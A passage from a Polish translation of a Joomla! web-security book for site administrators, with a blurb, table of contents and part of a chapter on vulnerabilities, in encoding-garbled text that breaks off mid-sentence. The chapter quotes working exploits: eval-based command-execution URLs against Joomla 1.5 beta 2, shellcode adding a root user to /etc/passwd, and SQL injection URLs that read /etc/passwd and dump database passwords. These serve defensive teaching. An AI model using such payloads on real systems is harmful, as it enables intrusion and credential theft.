Joomla! Zabezpieczanie
witryn
Autor: Tom Canavan
T³umaczenie: Roman Gryzowski, Tomasz Walczak
ISBN: 978-83-246-2197-2
Tytu³ orygina³u:
Joomla! Web Security
Format: 170×230, stron: 248
Zabezpiecz stronê opart¹ o Joomla!
• Na co nale¿y zwróciæ uwagê przy wyborze firmy hostingowej?
• Jak wykorzystaæ potencja³ plików .htaccess i php.ini?
• Jak reagowaæ na ataki hakerów?
Nikomu nie trzeba jej przedstawiaæ – Joomla! to wiod¹cy system zarz¹dzania treœci¹.
Wœród jej zalet warto wymieniæ ³atwoœæ instalacji i konfiguracji, dostêpnoœæ wielu
dodatków oraz cenê – jest to system darmowy. Jednak¿e z tej popularnoœci wynika te¿
pewna zasadnicza wada. Mianowicie Joomla! jest ³akomym k¹skiem dla internetowych
w³amywaczy.
Dziêki tej ksi¹¿ce dowiesz siê, jak zabezpieczyæ swoj¹ stronê, opart¹ o ten system,
przed ich dzia³aniem. Podrêcznik w kompleksowy sposób opisuje wszystkie zagadnienia
zwi¹zane z bezpieczeñstwem Joomla! – pocz¹wszy od wyboru firmy, na której serwerach
umieœcisz swoj¹ stronê, a skoñczywszy na tworzeniu polityki reagowania na ataki.
Ponadto podczas lektury zdobêdziesz ogrom wiedzy na temat dostêpnych narzêdzi,
metodologii ataków oraz konfiguracji za pomoc¹ plików .htaccess i php.ini. Wœród
poruszanych tematów znajdziesz równie¿ te poœwiêcone logom serwera i wykorzystaniu
szyfrowanego kana³u komunikacyjnego SSL. Ksi¹¿ka ta jest obowi¹zkow¹ lektur¹ dla
wszystkich administratorów stron internetowych opartych o system Joomla! – zarówno
tych ma³ych, jak i korporacyjnych.
• Hosting – na co zwróciæ uwagê
• Wykorzystanie œrodowiska testowego do prowadzenia badañ nad bezpieczeñstwem
• Dostêpne narzêdzia oraz ich przeznaczenie
• Luki w systemie
• Instalacja poprawek
• Ataki typu „wstrzykniêcie kodu” oraz „RFI”
• Techniki wykorzystywane przez w³amywaczy
• Konfiguracja systemu za pomoc¹ plików .htaccess oraz php.ini
• Logi serwera – sposoby na zdobycie wiedzy o systemie
• Wdra¿anie SSL
• Zarz¹dzanie incydentami
Zapewnij bezpieczeñstwo Twojej witrynie!
Spis tre
Ăci
O autorze
9
O redaktorze
11
Przedmowa
13
Rozdzia
ï 1. Zaczynamy
17
Wprowadzenie
17
Powszechnie u
ĝywana terminologia
18
Wybór hostingu dostosowanego do potrzeb
19
Co to jest firma hostingowa?
19
Wybieranie firmy hostingowej
19
Pytania, jakie naleĝy zadaÊ przyszïemu dostawcy usïug hostingowych
20
Pomieszczenia
20
O co zapytaÊ dostawcÚ hostingu w kwestiach bezpieczeñstwa?
21
Pytania dotyczÈce warunków w pomieszczeniach
21
Monitorowanie i ochrona lokalizacji
22
Instalowanie poprawek a bezpieczeñstwo
22
Hosting wspóïdzielony
23
Hosting dedykowany
25
Planowanie instalacji Joomla!
26
Jakiemu celowi ma sïuĝyÊ Twoja witryna?
26
JedenaĂcie kroków do udanej architektury witryny
27
Pobieranie systemu Joomla!
29
Ustawienia
30
.htaccess
33
Uprawnienia
34
ZarzÈdzanie uĝytkownikami
35
Typowe b
ïÚdy
35
Ustanawianie parametrów bezpieczeñstwa
38
Podsumowanie
45
Spis tre
Ğci
4
Rozdzia
ï 2. Testowanie i rozwijanie witryny
47
Witaj w laboratorium!
48
¥rodowisko testowe
48
Jaki to ma zwiÈzek z zabezpieczeniami?
49
BïÚdne koïo aktualizowania
49
Tworzenie planu testów
52
Wykorzystanie Ărodowiska testowego w planowaniu dziaïañ na wypadek awarii
54
Tworzenie dobrej dokumentacji
55
Korzystanie z systemu zarzÈdzania tworzeniem oprogramowania
58
Raportowanie
60
Ravenswood Joomla! Server
62
Uruchamianie
63
Podsumowanie
64
Rozdzia
ï 3. NarzÚdzia
65
Wprowadzenie
65
Narz
Údzia, narzÚdzia i jeszcze raz narzÚdzia
66
HISA
66
Joomla! Tools Suite with Services
72
Jak zdrowie?
73
Nmap — narzÚdzie do mapowania sieci ze strony insecure.org
80
Wireshark
82
Metasploit — zestaw narzÚdzi do testów penetracyjnych
85
Nessus — skaner luk
87
Podsumowanie
89
Rozdzia
ï 4. Luki
91
Wprowadzenie ................................................................................................................................. 91
Instalowanie poprawek jest nieodzowne ...................................................................................... 93
Czym jest luka? ................................................................................................................................ 94
Luki zwiÈzane z uszkodzeniem zawartoĂci pamiÚci ....................................................... 95
WstrzykniÚcie kodu SQL ................................................................................................ 97
Ataki przez wstrzykniÚcie poleceñ ................................................................................. 99
Dlaczego pojawiajÈ siÚ luki? ....................................................................................... 100
Co moĝna zrobiÊ, aby zapobiec lukom? ...................................................................... 100
Odmowa dostÚpu ....................................................................................................... 103
NiewïaĂciwe formatowanie zmiennych i niebezpiecznych danych wejĂciowych ........ 103
Brak testów w zróĝnicowanym Ărodowisku ................................................................ 104
Testowanie w róĝnych wersjach baz SQL .................................................................... 104
Wspóïdziaïanie z rozszerzeniami niezaleĝnych producentów ......................................... 104
U
ĝytkownicy koñcowi .................................................................................................................... 105
Socjotechnika ............................................................................................................. 105
Nieregularne instalowanie poprawek i aktualizacji ..................................................... 106
Podsumowanie .............................................................................................................................. 107
Spis tre
Ğci
5
Rozdzia
ï 5. Anatomia ataków
109
Wprowadzenie
110
Wstrzykni
Úcie kodu SQL
110
Testowanie odpornoĂci witryny na wstrzykniÚcie kodu SQL
114
Kilka metod zapobiegania wstrzykniÚciu kodu SQL
114
Metoda zapobiegania wstrzykniÚciu kodu SQL zalecana przez PHP.NET
115
Ataki RFI
116
Najprostszy atak
118
Co moĝemy zrobiÊ, ĝeby powstrzymaÊ atak?
118
Zapobieganie atakom RFI
122
Podsumowanie
123
Rozdzia
ï 6. Jak to robiÈ „ěli chïopcy”?
125
Obecne regulacje prawne
126
Namierzanie celu
127
Poznawanie celu
128
Narz
Údzia do wykrywania luk
131
Nessus
131
Nikto — skaner luk o otwartym dostÚpie do kodu ěródïowego
132
Acunetix
132
Nmap
133
Wireshark
134
Ping Sweep
134
Firewalk
134
Angry IP Scanner
135
Cyfrowe graffiti a prawdziwe ataki
137
Wyszukiwanie celów ataku
144
Co mo
ĝesz zrobiÊ?
144
Przeciwdzia
ïanie
145
Co zrobiÊ, jeĂli firma hostingowa nie jest skïonna do wspóïpracy?
146
Co zrobiÊ, jeĂli ktoĂ wïamaï siÚ do mojej witryny i jÈ oszpeciï?
146
Co zrobiÊ, jeĂli napastnik umieĂciï na serwerze rootkita?
147
S
ïowo na zakoñczenie
147
Podsumowanie
148
Rozdzia
ï 7. Pliki php.ini i .htaccess
149
Plik .htaccess
150
Zmniejszanie transferu danych
151
WyïÈczanie sygnatury serwera
151
Zapobieganie dostÚpowi do pliku .htaccess
151
Zapobieganie dostÚpowi do jakiegokolwiek pliku
151
Zapobieganie dostÚpowi do plików róĝnych typów
152
Zapobieganie nieuprawnionemu przeglÈdaniu katalogów
152
Ukrywanie rozszerzeñ skryptów
153
Ograniczanie dostÚpu do sieci LAN
153
UdostÚpnianie katalogów na podstawie adresu IP i (lub) domeny
153
Spis tre
Ğci
6
Blokowanie dostÚpu i zezwalanie na dostÚp do domeny
na podstawie przedziaïu adresów IP
154
Blokowanie hotlinkingu i zwracanie materiaïów zastÚpczych
154
Blokowanie robotów, programów typu site ripper, przeglÈdarek
offline i innych „szkodników”
155
Pliki, katalogi i inne elementy chronione hasïem
157
Aktywowanie trybu SSL za pomocÈ pliku .htaccess
160
Automatyczne ustawianie uprawnieñ do plików róĝnych typów
160
Ograniczanie wielkoĂci plików w celu ochrony witryny przed atakami
przez odmowÚ usïugi (DoS)
161
Niestandardowe strony bïÚdów
161
UdostÚpnianie uniwersalnej strony bïÚdu
162
Zapobieganie dostÚpowi w okreĂlonych godzinach
162
Przekierowywanie ĝÈdañ z danym ïañcuchem znaków pod okreĂlony adres
162
WyïÈczanie ustawienia magic_quotes_gpc na serwerach z obsïugÈ PHP
163
Plik php.ini
164
Czym jest plik php.ini?
164
Jak przebiega odczytywanie pliku php.ini?
164
Podsumowanie
166
Rozdzia
ï 8. Pliki dziennika
167
Czym dok
ïadnie sÈ pliki dziennika?
168
Nauka czytania logów
169
A co z tym?
170
Kody stanu w HTTP 1.1
172
Analizowanie plików dziennika
175
añcuchy znaków z nazwÈ agenta
176
Blokowanie przedziaïów adresów IP z danego kraju
177
SkÈd pochodzi napastnik?
177
Konserwowanie plików dziennika
178
Etapy konserwowania plików dziennika
179
Narz
Údzia do przeglÈdania plików dziennika
180
BSQ-SiteStats
180
JoomlaWatch
181
AWStats
181
Podsumowanie
182
Rozdzia
ï 9. SSL w witrynach opartych na Joomla!
183
Czym jest technologia SSL (TLS)?
184
Uĝywanie SSL do nawiÈzywania zabezpieczonych sesji
185
Certyfikaty autentycznoĂci
186
Uzyskiwanie certyfikatów
187
Procedura wdra
ĝania SSL
188
SSL w systemie Joomla!
188
Kwestie zwi
Èzane z wydajnoĂciÈ
190
Inne zasoby
191
Podsumowanie
191
Spis tre
Ğci
7
Rozdzia
ï 10. ZarzÈdzanie incydentami
193
Tworzenie polityki reagowania na incydenty
194
Tworzenie procedur na podstawie polityki reagowania na incydenty
197
Obsïuga incydentu
199
Komunikacja z zewnÚtrznymi jednostkami na temat incydentów
199
OkreĂlanie struktury zespoïu
203
Podsumowanie
203
Dodatek A Podr
Úcznik zabezpieczeñ
205
Spis tre
Ăci podrÚcznika zabezpieczeñ
205
Informacje ogólne
206
Przygotowywanie pakietu narzÚdzi
206
NarzÚdzia do tworzenia kopii zapasowej
207
Lista kontrolna z obszaru pomocy
207
Codzienne operacje
209
Podstawowa lista kontrolna z obszaru bezpieczeñstwa
209
Narz
Údzia
210
Nmap
210
Telnet
212
FTP
212
Skanowanie pod kÈtem wirusów
212
JCheck
212
Zestaw narzÚdzi dla systemu Joomla!
213
NarzÚdzia dla uĝytkowników Firefoksa
213
Porty
214
Pliki dziennika
216
Kody stanu serwera Apache
216
Format CLF
218
Informacje o kraju — kody domen najwyĝszego poziomu
219
Lista krytycznych ustawie
ñ
227
Plik .htaccess
227
Plik php.ini
230
Ogólne informacje na temat serwera Apache
231
Lista portów
232
Podsumowanie
236
Skorowidz
237
4
Luki
Luki istniej
È w kaĝdym zbudowanym przez czïowieka systemie, a oprogramowanie to technologia
w rodzaju „czarnej skrzynki” — u
ĝytkownicy czÚsto nie majÈ wiedzy ani moĝliwoĂci potrzebnych
do wykrycia s
ïabych punktów rozwiÈzania. Nawet programiĂci czasem nie posiadajÈ zasobów
niezb
Údnych do wyczerpujÈcego przetestowania systemu pod kÈtem luk.
Spo
ïeczeñstwo staje siÚ coraz bardziej zaleĝne od systemów komputerowych, które sterujÈ ope-
racjami bankowymi, niezb
ÚdnÈ infrastrukturÈ (na przykïad sieciami elektrycznymi), a nawet
Twoj
È opartÈ na Joomla! witrynÈ. Dlatego musisz znaÊ odpowiedzi na poniĝsze pytania:
Q
Czym s
È luki?
Q
Dlaczego istniej
È?
Q
Jak mo
ĝna zapobiec ich powstawaniu?
Wprowadzenie
Czy czyta
ïeĂ albo sïyszaïeĂ kiedyĂ opowiastkÚ dla dzieci o Maïej Czerwonej Kurce? Pewnego razu
Ma
ïa Czerwona Kurka znalazïa ziarna pszenicy. Prosiïa róĝne zwierzÚta o pomoc przy sianiu
zbo
ĝa, podlewaniu go, zbiorach i mieleniu mÈki na chleb. Wszystkie zwierzaki odmówiïy, tïuma-
cz
Èc siÚ brakiem czasu. Byïy po prostu zbyt zajÚte!
Kiedy Ma
ïa Czerwona Kurka upiekïa chleb dla siebie i swych kurczÈt, kaĝde stworzenie z zagrody
poczu
ïo jego zapach. Wszystkie zwierzÚta zbiegïy siÚ z przyjaznymi minami, aby uszczknÈÊ
co
Ă dla siebie. Kurka oczywiĂcie przegoniïa je, poniewaĝ nikt nie chciaï pomóc jej w pracy.
Zacz
Èïem od tej historyjki, poniewaĝ wystÚpujÈce w niej postacie odpowiadajÈ róĝnym funkcjom
omawianym w dalszej cz
ÚĂci rozdziaïu.
Joomla! Zabezpieczanie witryn
92
Pomy
Ăl o projektancie aplikacji, który pracuje niestrudzenie i prosi zaufanych klientów o udziaï
w testach. U
ĝytkownicy odmawiajÈ, ale póěniej narzekajÈ na bïÚdy, kiedy te siÚ ujawniÈ.
Mo
ĝliwe, ĝe firma udostÚpnia oprogramowanie, ale marketing jest w niej waĝniejszy niĝ staranne
testy nakierowane na usuni
Úcie luk. Jednak ostatecznie odpowiedzialnoĂÊ za usterki spada na
programist
Ú.
Gdy producent udost
Úpnia poprawki, klienci, którzy powinni je zainstalowaÊ, ale tego nie zrobili,
przypominaj
È zwierzÚta, dajÈce siÚ ïatwo zaatakowaÊ napastnikom. Nie zrobiïy tego, czego
oczekiwa
ïa od nich Kurka.
Czy pami
Útasz robaka o nazwie Slammer, który pojawiï siÚ kilka lat temu? Napastnicy wykorzy-
stali luk
Ú w systemie MS-SQL, choÊ juĝ od pewnego czasu dostÚpna byïa odpowiednia poprawka.
Robak przechodzi
ï z serwera na serwer i w ciÈgu kilku godzin rozprzestrzeniï siÚ po Ăwiecie.
Klienci, którzy zainstalowali poprawki, nie ponie
Ăli szkód. Takie zachowanie, w rodzaju „jestem
zbyt zaj
Úty, Czerwona Kurko” (aby dodaÊ poprawkÚ), spowodowaïo w wielu firmach niepotrzebne
i kosztowne przestoje w dzia
ïaniu serwera. Oto oficjalny opis problemu przedstawiony przez
organizacj
Ú CERT:
„Robak atakuj
Ècy komputery z systemem SQL Server to samodzielnie rozprzestrzeniajÈcy siÚ szkodliwy kod,
który wykorzystuje luk
Ú opisanÈ w dokumencie VU#484891 (CAN-2002-0649). Luka ta umoĝliwia uru-
chomienie na komputerze z systemem SQL Server dowolnego kodu w wyniku wykorzystania przepe
ïnienia
bufora stosu.
Kiedy robak zaatakuje maszyn
Ú, próbuje siÚ rozprzestrzeniÊ. W tym celu tworzy 376-bajtowe pakiety i przesyïa
je pod losowo wybrane adresy IP do portu 1434/udp. Je
Ăli pakiet trafi do podatnej na atak maszyny,
ofiara zostanie zainfekowana i tak
ĝe zacznie rozprzestrzeniaÊ robaka. Obecna wersja robaka jedynie wykrywa
nowe serwery i nie zawiera innych instrukcji.
Dzia
ïanie tego robaka moĝna ïatwo wykryÊ ze wzglÚdu na obecnoĂÊ w sieci 376-bajtowych pakietów UDP.
Pochodz
È one z na pozór losowych adresów IP i sÈ skierowane do portu 1434/udp”.
Na szcz
ÚĂcie wspomniany robak — choÊ szkodliwy — nie obejmowaï niebezpiecznych instrukcji.
Gdyby administratorzy centrów danych przegl
Èdali poprawki dla kluczowych systemów (takich
jak MS-SQL) bezpo
Ărednio po ich udostÚpnieniu, skutki dziaïania Slammera byïyby duĝo
mniejsze.
Wed
ïug Microsoftu poprawka byïa dostÚpna juĝ w lipcu 2002 roku. Jednak pojawienie siÚ Slam-
mera wywo
ïaïo pandemiÚ. Zapoznaj siÚ z poniĝszym opisem.
„Luk
Ú, którÈ wykorzystaï robak, Microsoft zlikwidowaï w poprawce zabezpieczeñ z lipca 2002 roku i w dal-
szych uzupe
ïniajÈcych poprawkach (ostatnia pojawiïa siÚ w paědzierniku 2002 roku). Ponadto ze wzglÚdu
na zaanga
ĝowanie w kwestie bezpieczeñstwa przy wdraĝaniu oprogramowania w ramach inicjatywy Tru-
stworthy Computing ponownie udost
ÚpniliĂmy najnowszÈ poprawkÚ zabezpieczeñ z doïÈczonym programem
instalacyjnym, który pomaga administratorom systemów przyspieszy
Ê instalacjÚ”.
Rozdzia
á 4. • Luki
93
Poj
Úciem, które czÚsto pojawia siÚ wraz ze sïowem „luka”, jest eksploit. Wykrycie sïabych punktów
przyci
Èga „zïych chïopców”, którzy chcÈ wykorzystaÊ luki w celu zaatakowania systemu.
Instalowanie poprawek jest nieodzowne
Nowszy przyk
ïad braku zabezpieczeñ to luka umoĝliwiajÈca ataki CSRF (ang. Cross-Site Request
Forgery) w systemach Joomla! 1.x i Joomla! 1.5. Warto tu wspomnie
Ê, ĝe Joomla! to nie jedyna
aplikacja zaatakowana eksploitem wykorzystuj
Ècym tÚ lukÚ. PrzyczynÈ problemu jest natura
dzia
ïania sieci WWW. IstniejÈ kody, które mogÈ spowolniÊ atak i w wielu przypadkach go za-
blokowa
Ê. W czasie, kiedy powstawaïa ta ksiÈĝka, pojawiïo siÚ niedoskonaïe rozwiÈzanie problemu
CSRF, jednak informacji o poprawce nie rozpowszechniano publicznie. Producenci oprogramo-
wania nierzadko stosuj
È takie podejĂcie. Ze wzglÚdu na ograniczone zasoby muszÈ koncentrowaÊ
si
Ú na najwaĝniejszych, priorytetowych zadaniach. Dlatego to uĝytkownicy koñcowi odpowiadajÈ
za zainstalowanie poprawki, kiedy si
Ú o niej dowiedzÈ. JeĂli producent systemu Joomla! udostÚpni
aktualizacj
Ú, a Ty jej nie dodasz, bÚdziesz ponosiï odpowiedzialnoĂÊ za szkody. Jeĝeli jednak
twórcy aplikacji
Ăwiadomie zignorujÈ lukÚ w zabezpieczeniach, to oni bÚdÈ winni zaniedbania.
Jednak ostatecznie za bezpiecze
ñstwo odpowiada uĝytkownik.
Eksploit CSRF jest interesuj
Ècy, poniewaĝ zwiÈzany jest z atakami „socjotechnicznymi”. Oznacza
to,
ĝe jeĂli uĝytkownik nie bÚdzie wspóïpracowaï z napastnikami, nikt nie bÚdzie mógï wyrzÈdziÊ
mu szkody.
Wspó
ïdziaïanie klienta umoĝliwia agresorom zaïoĝenie w witrynie konta gïównego administratora.
Phil Taylor, powa
ĝany czïonek spoïecznoĂci zwiÈzanej z Joomla!, zademonstrowaï dziaïanie
omawianego eksploita w kilka godzin od czasu jego ujawnienia. W tym czasie utworzy
ï konto
g
ïównego administratora w jednej witrynie (ten test sïuĝyï tylko jako ilustracja problemu, a nie
do przeprowadzenia ataku).
Dobra wiadomo
ĂÊ jest taka, ĝe wedïug Phila Taylora (phil-taylor.com) problem moĝna ïatwo rozwiÈ-
za
Ê przez zachowanie zdrowego rozsÈdku przez uĝytkowników. Poniĝszy fragment pochodzi z ar-
tyku
ïu ze strony http://blog.phil-taylor.com/2008/01/05/using-prisim-to-administrate-joomla-safer/
(wersja ze stycznia 2008 roku), który zawiera doskona
ïy opis zagadnienia.
„Ostatnio wiele si
Ú mówi o atakach CSRF w systemach Joomla! 1.0.13/1.5. CSRF to problem we wszystkich
aplikacjach sieciowych, a w wersjach Joomla! 1.0.14 i Joomla! 1.5 wzmocniono zabezpieczenia w tym
zakresie. Nie oznacza to jednak,
ĝe systemy te sÈ w peïni bezpieczne, poniewaĝ w praktyce nie moĝna
zablokowa
Ê wszystkich ataków CSRF bez zakïócenia pracy oprogramowania. Joomla!, podobnie jak
wi
ÚkszoĂÊ aplikacji sieciowych, ma jak najbardziej utrudniaÊ wykorzystanie techniki CSRF do przejÚcia
witryn opartych na Joomla!”.
Przytaczam te uwagi tylko jako akademickie rozwa
ĝania, poniewaĝ problem zostaï rozwiÈzany
przed zako
ñczeniem prac nad tÈ ksiÈĝkÈ.
Joomla! Zabezpieczanie witryn
94
Eksploity „socjotechniczne” to jedne z najbardziej niebezpiecznych sposobów wykorzystania luk.
Na blogu Phila znajdziesz te
ĝ wskazówki, które pomogÈ Ci zabezpieczyÊ witrynÚ przed tym pod-
st
Úpnym atakiem:
– ZAWSZE klikaj przycisk
Wyloguj
w panelu administracyjnym Joomla!, kiedy sko
ñczysz pracÚ.
– NIGDY nie odwiedzaj innych witryn, kiedy jeste
Ă zalogowany w panelu administracyjnym Joomla!.
– Je
Ăli zezwalasz uĝytkownikom na przesyïanie i modyfikowanie elementów witryny przy uĝyciu komponen-
tów niezale
ĝnych producentów, to w czasie, kiedy jesteĂ zalogowany w panelu administracyjnym Joomla!, nie
przegl
Èdaj wïasnego serwisu lub rób to w ograniczonym zakresie.
– NIGDY nie klikaj odno
Ăników typu
Aktualizuj komponent
w komponentach niezale
ĝnych producentów.
– NIGDY nie przegl
Èdaj forum, kiedy jesteĂ zalogowany w panelu administracyjnym Joomla!.
Omawiana luka jest powa
ĝna, jednak lektura blogu Phila Taylora pozwoli Ci ïatwo zapobiec jej
wykorzystaniu.
Wi
Úcej informacji znajdziesz w ciekawym artykule na temat CSRF:
http://shiflett.org/articles/cross-site-request-forgeries.
Zwró
Ê uwagÚ na datÚ artykuïu. Omawiany eksploit jest starszy niĝ Joomla!, co pokazuje, ĝe ataki
CSRF nie s
È specyficzne dla tego systemu. W ostatnich latach problem dotknÈï nawet pocztÚ
Gmail. Przedstawione porady znajduj
È zastosowanie przy korzystaniu z kaĝdej aplikacji sieciowej
z poufnymi danymi (na przyk
ïad w systemach bankowoĂci internetowej).
Czym jest luka?
Oto definicja „luki” (ang. vulnerability) z Wikipedii:
W dziedzinie bezpiecze
ñstwa komputerów pojÚcie „luka” oznacza sïaby punkt w systemie,
który umo
ĝliwia napastnikom naruszenie integralnoĂci aplikacji. Luki mogÈ byÊ efektem
stosowania s
ïabych haseï, wystÈpienia bïÚdów w oprogramowaniu, wstrzykniÚcia
kodu skryptu, wstrzykni
Úcia kodu SQL, dziaïania rootkita Blue Pill lub szkodliwego
oprogramowania. Niektóre luki s
È teoretyczne, w przypadku innych znane sÈ
przyk
ïadowe eksploity.
Struktura w j
Úzyku programowania jest uznawana za lukÚ, jeĂli jest podstawowÈ przyczynÈ uste-
rek w wielu programach.
Mo
ĝesz siÚ zastanawiaÊ, dlaczego w systemie pojawiïy siÚ sïabe punkty i czy programiĂci nie mogli
bardziej si
Ú postaraÊ. To uzasadnione pytania. Jednak zanim zaczniesz obwiniaÊ nieszczÚsnych,
przykutych do klawiatur programistów, przyjrzyj si
Ú kilku dobrze poznanym obszarom, w których
mog
È wystÈpiÊ luki.
Rozdzia
á 4. • Luki
95
W Wikipedii mo
ĝna znaleěÊ kilka przyczyn problemów:
Q
B
ïÚdy w zarzÈdzaniu hasïami. Uĝytkownicy stosujÈ sïabe hasïa, które moĝna zïamaÊ
metod
È ataku siïowego. Klienci przechowujÈ hasïa na komputerze w miejscu, do którego
program ma dost
Úp. Uĝytkownicy stosujÈ te same hasïa w wielu aplikacjach i witrynach.
Q
Elementarne b
ïÚdy w projekcie systemu operacyjnego. Producent systemu
operacyjnego decyduje si
Ú zastosowaÊ nieoptymalne metody zarzÈdzania kontami
u
ĝytkowników i programami. Na przykïad w niektórych systemach kaĝda aplikacja
i osoba ma domy
Ălnie peïny dostÚp do wszystkich zasobów komputera. Ta wada
umo
ĝliwia wirusom i szkodliwemu oprogramowaniu wykonywanie poleceñ w imieniu
administratora.
Q
B
ïÚdy w oprogramowaniu. Programista pozostawia moĝliwÈ do wykorzystania
usterk
Ú w programie. BïÚdy tego typu pozwalajÈ napastnikom na przykïad pominÈÊ
proces sprawdzania uprawnie
ñ dostÚpu do danych lub wykonaÊ polecenia w systemie,
w którym dzia
ïa dana aplikacja. Ponadto programista moĝe zapomnieÊ o sprawdzaniu
rozmiaru buforów danych, które mog
È zostaÊ przepeïnione, co prowadzi do uszkodzenia
zawarto
Ăci pamiÚci na stosie lub stercie (moĝe to teĝ spowodowaÊ uruchomienie
na komputerze kodu przes
ïanego przez napastnika).
Q
Brak sprawdzania danych wej
Ăciowych od uĝytkownika. Programista zakïada,
ĝe wszystkie dane od uĝytkownika sÈ bezpieczne. Programy, które nie sprawdzajÈ
takich danych, umo
ĝliwiajÈ bezpoĂrednie wykonanie poleceñ lub instrukcji SQL
(s
È to ataki przez przepeïnienie bufora, wstrzykniÚcie kodu SQL i wprowadzenie
innych niesprawdzonych danych).
Luki wyst
ÚpujÈ we wszystkich systemach operacyjnych, aplikacjach i platformach. W nastÚpnych
punktach opisuj
Ú techniczne aspekty wybranych sïabych punktów.
Luki zwi
Èzane z uszkodzeniem zawartoĂci pamiÚci
Niebezpieczne przepe
ïnienie bufora to prawdopodobnie najczÚĂciej wystÚpujÈca obecnie luka.
Jest tak powszechna,
ĝe moĝna jÈ znaleěÊ w niemal kaĝdym systemie. IlustrujÈ to dalsze przykïady.
Poni
ĝszy fragment to opis ujawnionej luki zwiÈzanej z bïÚdem przepeïnienia w systemie Joomla!
1.5 beta 2:
Podatne systemy:
Q
Joomla! wersja 1.5 beta 2
Odporne systemy:
Q
Joomla! wersja 1.0.13
Q
Joomla! wersja 1.5 RC1
Joomla! Zabezpieczanie witryn
96
Opis luki
Poniĝsze skrypty z domyĂlnej instalacji systemu Joomla! 1.5 beta 2 zawierajÈ
podatny na atak kod:
1. components/com_search/views/search/tmpl/default_results.php
Wiersz 12.: <?php eval ('echo "' . $this->result . '";'); ?>
2. templates/beez/html/com_search/search/default_results.php
Wiersz 25.: echo '<p>' . eval ('echo "' . $this->result . ' ";');
WartoĂÊ parametru searchword jest przekazywana do podanego kodu z instrukcjÈ
eval() i wykonywana. Napastnik moĝe po funkcji echo wstawiÊ nowe
polecenie PHP, które posïuĝy do uruchomienia instrukcji systemu
operacyjnego.
Aby pominÈÊ ograniczenie dïugoĂci szukanego sïowa do 20 znaków, do
okreĂlania poleceñ systemu operacyjnego uĝywany jest nowy parametr
w ĝÈdaniu GET (zobacz przykïadowy eksploit).
Oto przyk
ïadowy eksploit:
http://$joomlahost/index.php?searchword=";phpinfo();%23&option=com_
search&Itemid=1
http://$joomlahost/index.php?c=id&searchword=";system($_
GET[c]);%23&option=com_search&Itemid=1
W witrynie www.milw0rm.com znajduj
È siÚ przykïadowe instrukcje, które moĝna przesïaÊ
przez uszkodzenie zawarto
Ăci pamiÚci. Jest to BARDZO stary (z lata 2000 roku) kod dla inter-
pretera polece
ñ, dlatego go wybraïem:
/*
* Linux/x86
*
* Dodaje wiersz "z::0::0:::\n" do /etc/passwd.
* Kod jest do
Ğü stary i moĪna go dodatkowo zoptymalizowaü.
*/
#include <stdio.h>
char c0de[] =
/* main: */
"\xeb\x29" /* jmp callz */
/* start: */
"\x5e" /* popl %esi */
"\x29\xc0" /* subl %eax, %eax */
"\x88\x46\x0b" /* movb %al, 0x0b(%esi) */
.
. [czÚĂÊ kodu usuniÚto]
.
"\x29\xc0" /* subl %eax, %eax */
"\x40" /* incl %eax */
"\xcd\x80" /* int $0x80 */
/* callz: */
Rozdzia
á 4. • Luki
97
"\xe8\xd2\xff\xff\xff" /* call start */
/* DATA */
"/etc/passwd"
"\xff"
"z::0:0:::\n";
main() {
int *ret;
ret=(int *)&ret +2;
printf("Shellcode lenght=%d\n",strlen(c0de));
(*ret) = (int)c0de;
}
Ten eksploit dodaje u
ĝytkownika do opartego na procesorze Intel komputera, na którym dziaïa
system Linux x86 (jest to typowa, powszechnie u
ĝywana platforma serwerowa). Ten prosty kod
wstawia skrypt typu shellcode za pomoc
È techniki uszkadzania pamiÚci. Pozwala to napastnikowi
uruchomi
Ê w pamiÚci niewielki program (w tym przypadku wystarczy 70 bajtów), który — jeĂli
jego dzia
ïanie zakoñczy siÚ powodzeniem — dodaje uĝytkownika do systemu. Umoĝliwia to
pó
ěniejsze wykonanie dowolnych operacji.
W nast
Úpnym punkcie omawiam inne rodzaje eksploitów. PamiÚtaj, ĝe nie jest to wyczerpujÈca
lista, a jedynie przegl
Èd czÚsto spotykanych technik.
Wstrzykni
Úcie kodu SQL
Jednym z najcz
ÚĂciej spotykanych i niebezpiecznych ataków na witryny oparte na Joomla! jest
wstrzykni
Úcie kodu SQL (ang. SQL injection). IstotÈ tych ataków sÈ nieprawidïowo przefiltrowane
dane wej
Ăciowe przesyïane na serwer SQL. Specjalne symbole — tak zwane znaki ucieczki — sïuĝÈ
do przekazywania
ĝÈdañ (zapytañ) do bazy danych SQL niezgodnie z zamiarami programisty.
Czasem umo
ĝliwia to zapisanie w bazie szkodliwych danych i powoduje ujawnienie waĝnych
informacji, na przyk
ïad haseï.
Oto przyk
ïadowy atak przez wstrzykniÚcie kodu SQL opisany w witrynie www.milw0rm.com:
/etc/password:
http://[host]/activate.php?userName='/**/union/**/select/**/
1,2,3,4,load_file(0x2f6574632f706173737764),6,7,8,9,9,9,9,9/*
Ten eksploit nie atakuje systemu Joomla!, ale inny CMS. Je
Ăli ów CMS dziaïa z opcjÈ
magic_quotes
ustawion
È na
off
, przedstawiony eksploit pozwala napastnikowi zdoby
Ê hasïa uĝytkowników.
Aby uzyska
Ê identyfikatory uĝytkowników, moĝna pobraÊ nazwy i hasïa uĝytkowników z tabeli
mysql.user
:
http://[host]/activate.php?userName='/**/union/**/select/**/
1,2,3,4,concat(user,0x203a3a20,password),6,7,8,9,9,9,9,9/**/from/**/
mysql.user/*
Joomla! Zabezpieczanie witryn
98
Omawiany eksploit wykorzystuje poni
ĝszÈ lukÚ:
$userName = $_GET["userName"];
$code = $_GET["activate"];
$sql = "SELECT activated FROM users WHERE username = '$userName' AND
activated = '$code'";
Je
Ăli nie ustawisz opcji
magic_quotes
na
ON
, opisany eksploit pozwoli napastnikowi z
ïamaÊ
system.
Przyczyn
È tej luki jest prosty bïÈd — brak wïaĂciwego filtrowania danych w okreĂlonej czÚĂci
systemu. W czasie pisania tego rozdzia
ïu przeprowadziïem kilka ataków opartych na tej luce
na w
ïasnÈ witrynÚ. Jednak opisany eksploit nie jest przeznaczony do wykorzystania sïabych
punktów w Joomla!, dlatego próby nie przynios
ïy ĝadnych efektów.
Twój egzemplarz systemu Joomla! mo
ĝe byÊ podatny na ataki, jeĂli korzystasz z rozszerzenia,
które niepoprawnie filtruje dane. Opisany eksploit jest skuteczny w witrynach, które nie spraw-
dzaj
È literaïów znakowych podanych za pomocÈ znaków ucieczki. Takie literaïy sÈ „wstrzykiwane”
do bazy danych w instrukcjach w j
Úzyku SQL. Ponadto jeĂli dane od uĝytkowników nie sÈ
ĂciĂle
typizowane
, system zg
ïosi wyjÈtek (baza danych nie „zrozumie” instrukcji i przeĂle komunikaty
o b
